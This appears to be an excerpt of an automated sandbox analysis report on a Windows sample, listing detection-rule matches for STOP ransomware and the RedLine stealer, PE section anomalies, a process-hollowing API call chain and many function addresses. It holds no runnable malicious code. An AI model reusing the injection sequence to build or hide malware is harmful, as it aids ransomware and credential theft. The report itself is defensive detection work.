Source: 0.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22715a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 16.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 6.2.E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.22a15a0.1.unpack, type: UNPACKEDPE	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.1341092926.0000000002204000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000008.00000002.2535359075.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 0000000E.00000002.1453085219.0000000002252000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown
Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects STOP ransomware Author: ditekSHen
Source: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 7816, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8012, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8084, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8104, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 3276, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8044, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff Author: unknown

PE file contains section with special chars

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Static PE information: section name: s`Xuj
Source: MyProg.exe.2.dr	Static PE information: section name: Y\|uR
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe.4.dr	Static PE information: section name: s`Xuj

PE file has a writeable .text section

Source: lvAVrO.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02270110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	0_2_02270110
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	6_2_022A0110
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 7_2_02260110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,Wow64GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,Wow64SetThreadContext,ResumeThread,ExitProcess,	7_2_02260110

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00413890	0_2_00413890
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_00412AB0	0_2_00412AB0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02277220	0_2_02277220
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022F22C0	0_2_022F22C0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022BE37C	0_2_022BE37C
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02277393	0_2_02277393
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227A026	0_2_0227A026
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0228F030	0_2_0228F030
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227B000	0_2_0227B000
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227B0B0	0_2_0227B0B0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022770E0	0_2_022770E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022730F0	0_2_022730F0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022800D0	0_2_022800D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02279120	0_2_02279120
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022BE141	0_2_022BE141
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0229D1A4	0_2_0229D1A4
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022BB69F	0_2_022BB69F
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227A699	0_2_0227A699
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227E6E0	0_2_0227E6E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227C760	0_2_0227C760
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227A79A	0_2_0227A79A
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0229D7F1	0_2_0229D7F1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02273520	0_2_02273520
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02277520	0_2_02277520
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227CA10	0_2_0227CA10
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02277A80	0_2_02277A80
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02280B00	0_2_02280B00
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02272B60	0_2_02272B60
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227DBE0	0_2_0227DBE0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02277880	0_2_02277880
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022918D0	0_2_022918D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0228A930	0_2_0228A930
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0227A916	0_2_0227A916
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0229E9A3	0_2_0229E9A3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_0229F9B0	0_2_0229F9B0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022759F7	0_2_022759F7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022789D0	0_2_022789D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02278E60	0_2_02278E60
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022A4E9F	0_2_022A4E9F
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_022B2D1E	0_2_022B2D1E
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02275DE7	0_2_02275DE7
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 0_2_02275DF7	0_2_02275DF7
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_00606076	2_2_00606076
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Code function: 2_2_00606D00	2_2_00606D00
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040D240	4_2_0040D240
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00419F90	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040C070	4_2_0040C070
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0042E003	4_2_0042E003
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00408030	4_2_00408030
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00410160	4_2_00410160
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004C8113	4_2_004C8113
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004021C0	4_2_004021C0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0044237E	4_2_0044237E
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004084C0	4_2_004084C0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004344FF	4_2_004344FF
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0043E5A3	4_2_0043E5A3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040A660	4_2_0040A660
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0041E690	4_2_0041E690
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00406740	4_2_00406740
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00402750	4_2_00402750
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040A710	4_2_0040A710
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00408780	4_2_00408780
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0042C804	4_2_0042C804
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00406880	4_2_00406880
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004349F3	4_2_004349F3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004069F3	4_2_004069F3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00402B80	4_2_00402B80
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00406B80	4_2_00406B80
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0044ACFF	4_2_0044ACFF
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0042CE51	4_2_0042CE51
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00434E0B	4_2_00434E0B
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00406EE0	4_2_00406EE0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00420F30	4_2_00420F30
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00405057	4_2_00405057
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0042F010	4_2_0042F010
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004070E0	4_2_004070E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_004391F6	4_2_004391F6
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00435240	4_2_00435240
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00405447	4_2_00405447
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00405457	4_2_00405457
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00449506	4_2_00449506
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0044B5B1	4_2_0044B5B1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00435675	4_2_00435675
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00409686	4_2_00409686
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040F730	4_2_0040F730
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0044D7A1	4_2_0044D7A1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00481920	4_2_00481920
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0044D9DC	4_2_0044D9DC
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00449A71	4_2_00449A71
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00443B40	4_2_00443B40
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00409CF9	4_2_00409CF9
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040DD40	4_2_0040DD40
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00427D6C	4_2_00427D6C
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_0040BDC0	4_2_0040BDC0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00409DFA	4_2_00409DFA
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00409F76	4_2_00409F76
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 4_2_00449FE3	4_2_00449FE3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A7220	6_2_022A7220
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_023222C0	6_2_023222C0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022EE37C	6_2_022EE37C
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A7393	6_2_022A7393
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AA026	6_2_022AA026
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022BF030	6_2_022BF030
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AB000	6_2_022AB000
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AB0B0	6_2_022AB0B0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A70E0	6_2_022A70E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A30F0	6_2_022A30F0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022B00D0	6_2_022B00D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A9120	6_2_022A9120
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022EE141	6_2_022EE141
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022CD1A4	6_2_022CD1A4
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022EB69F	6_2_022EB69F
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AA699	6_2_022AA699
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AE6E0	6_2_022AE6E0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AC760	6_2_022AC760
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AA79A	6_2_022AA79A
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022CD7F1	6_2_022CD7F1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A3520	6_2_022A3520
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A7520	6_2_022A7520
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022ACA10	6_2_022ACA10
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A7A80	6_2_022A7A80
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022B0B00	6_2_022B0B00
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A2B60	6_2_022A2B60
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022ADBE0	6_2_022ADBE0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A7880	6_2_022A7880
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022C18D0	6_2_022C18D0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022BA930	6_2_022BA930
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022AA916	6_2_022AA916
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022CE9A3	6_2_022CE9A3
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022CF9B0	6_2_022CF9B0
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Code function: 6_2_022A59F7	6_2_022A59F7
